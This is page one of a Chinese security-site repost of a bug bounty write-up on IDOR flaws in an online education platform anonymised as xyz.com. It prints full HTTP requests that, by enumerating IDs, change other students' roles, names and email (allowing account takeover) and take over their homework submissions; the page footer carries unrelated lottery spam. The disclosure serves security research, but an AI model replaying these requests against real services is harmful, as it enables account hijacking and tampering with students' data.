歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

知名在線教育平臺的IDOR漏洞

來源:本站整理 作者:佚名 時間:2020-01-28 TAG: 我要投稿


在前一篇關于越權漏洞(IDOR)的分享中,我們談了一些用戶功能處存在的隱患點,今天再來聊聊另一個最近發現的IDOR漏洞,出于保密原因,文中提及的目標網站我們以xyz.com代替,漏洞獲得廠商$3,650的獎勵。
簡單對目標網站xyz.com做個介紹:它是一個在線教育平臺,主要提供政治/媒體/歷史等方面的培訓,其中內置分組聊天功能,幾乎全球著名的大學都使用了該平臺為在校學生進行輔導教學。在前端應用中,教師(管理者admin)通過創建課程,然后邀請學生(低權限用戶)加入課程學習。整個在線教學過程中,將有討論、作業指導以及課題項目等分類。
首先是,在前端接口服務的討論分組功能中,存在學生角色可更改的IDOR漏洞,其角色更改請求如下:
PATCH /api/api/v1.0/lesson/26201/student_roles/224410 HTTP/1.1
Host: xyz.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.com/
Access-Token: [REDUCTED]
Content-Type: application/json; charset=utf-8
Content-Length: 43
Connection: close
Cookie: visid_incap_633468=RCwAKw4IRCegxMVVw4Wx+6
{"student_id":"40990","role_guide_id":"22"}
這里存在兩個參數,一個是課程管理員ID(Class admin ID)26201,另一個是學生角色ID(Student Role ID)224410,有點奇怪的是,這個學生角色ID和請求內容中的student_id號40990有關聯。所以,如果我們以某個student_id號假設48990為目標,保持課程管理員ID26201不變,通過在一定范圍內枚舉猜測其學生角色ID(Student Role ID),這樣的話我們完全有可能得到其對應的學生角色ID(Student Role ID),最終可實現對該生的課程角色變化,如從課程中刪除或添加到其它課程等操作。
之后,我又用此方法發現了另外一個請求中的IDOR漏洞:
PATCH /api/api/v1.0/user_resource/student/[Victim Id 40994] HTTP/1.1
Host: xyz.com
User-Agent: Mozilla/5.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.com
Access-Token: []
Content-Type: application/json; charset=utf-8
Content-Length: 48
Connection: close
Cookie: [Cookie Reducted]
{"first_name":"john","last_name":"wick"}
在該請求中,通過改變學生的ID號Victim Id,結合請求體中的姓和名的內容,我們就能更改Victim Id對應學生的姓名信息,原始請求中只有”first_name”和”last_name”參數,之后,我又嘗試增加了一個“email”參數,組成以下請求:
PATCH /api/api/v1.0/user_resource/student/[Victim Id 40994] HTTP/1.1
Host: xyz.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xyz.com
Access-Token: []
Content-Type: application/json; charset=utf-8
Content-Length: 48
Connection: close
Cookie: [Cookie Reducted]
{"first_name":"baba","last_name":"yaga","email":"[email protected]"}
這一改,服務端響應回來狀態碼為200,竟然是可以的!所以,同樣可用枚舉生ID號Victim Id的方式,就能對所有學生信息進行更改了?梢詫е拢喝我鈱W生信息泄露、任意學生信息更改、郵箱更改導致的賬戶劫持、針對某課程對學生進行任意添加刪除、添加成為某課程學員。
其次,在學生作業提交請求中也存在IDOR漏洞,作業提交請求如下:
POST /api/api/v1.0/lesson/26201/assessment_answer HTTP/1.1
Host: xyz.com
Connection: close
Content-Length: 778
Accept: application/json
Origin: https://xyz.com
Access-Token: 9LgDXO27k1-yScnlUuo_gY5AKIG80y0IvTeCxa2KeZQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: https://xyz.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: []
{"title":"Assignment","student":"40994","section_id":"case","completed":false,"lesson":"26201","assignment":"4579","answers":[{"field_answer":"hello","field_question_ref":"4569"},"file_url":"5830"}
在上述請求中可以看到,其file_url為數據型的,通過更改其中的數值就能把其他學生的提交作業變成我的提交作業了,同時還能看到其他學生的作業信息,如下:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 0
Cache-Control: no-cache, must-revalidate
Content-Type: application/json; charset=utf-8
Date: Sun, 12 May 2019 18:01:07 GMT
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Server: Apache/2.2.15 (Red Hat)
Vary: Accept
Via: 1.1 varnish
WebServer: prod1-md
X-API-Version: v1.0
X-Cache: MISS
X-Content-Type-Options: nosniff
X-Drupal-Cache: MISS

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.650547.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        安徽快3自由的百科 广西体育彩票11选5走势图 7彩乐开奖结果 陕西快乐十分开奖时间 贵州十一选五开奖结果 一定牛 广东快乐10分开奖时间 江西快3投注app 河北体彩十一选五遗漏一定牛 多乐彩11选五 广州期货配资 快乐双彩好运3奖金